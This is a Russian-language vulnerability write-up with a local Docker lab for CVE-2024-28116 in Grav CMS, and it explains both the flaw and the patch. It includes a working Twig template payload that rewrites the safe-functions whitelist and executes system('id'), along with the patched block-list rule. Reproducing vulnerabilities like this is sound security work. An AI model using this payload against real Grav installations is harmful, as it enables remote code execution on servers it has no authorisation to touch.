
Анализ и воспроизведение в Docker CVE-2024-28116 — SSTI с обходом песочницы в Grav CMS
Анализ и Docker-воспроизведение CVE-2024-28116 — серверная инъекция шаблонов с обходом песочницы безопасности в Grav CMS версиях до 1.7.44 включительно, исправленной в версии 1.7.45.
Сообщил: Maurizio Siddu (akabe1)
Оценка CVSS v3.1: 8.8 (Высокая)
Исправлено в: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
Откройте браузер по адресу http://localhost:8080/admin и при первом входе создайте учётную запись администратора.
http://localhost:8080/admintest page, нажмите Continue{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-pageЭто подтверждает удалённое выполнение кода от имени пользователя веб-сервера.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
Откройте браузер по адресу http://localhost:8081/admin и повторите все шаги эксплуатации, указанные выше, используя http://localhost:8081/test-page.
Страница будет полностью пустой. Метод cleanDangerousTwig() в Security.php обнаруживает и блокирует директиву twig.safe_functions до того, как она достигнет движка Twig. Белый список никогда не изменяется, и команда не выполняется.
Уязвимость расположена в system/src/Grav/Common/Twig.php. Grav реализует песочницу, предотвращающую вызов опасных PHP-функций внутри Twig-шаблонов, на основе чёрного списка, проверяемого isDangerousFunction(). Однако песочница не защищает сам объект Twig. Пользователь с правами редактора может взаимодействовать с объектом Twig через специально сформированные директивы шаблона и перезаписать белый список system.twig.safe_functions во время выполнения. Как только опасная функция, такая как system(), добавляется в белый список, проверка песочницы обходится, и функция выполняется без ограничений.
Патч добавляет 'twig.safe_functions' в список блокируемых шаблонов внутри метода cleanDangerousTwig() в system/src/Grav/Common/Security.php. Любая директива, содержащая эту строку, нейтрализуется до того, как достигнет движка Twig, что делает невозможным изменение белого списка из шаблона пользователем с правами редактора.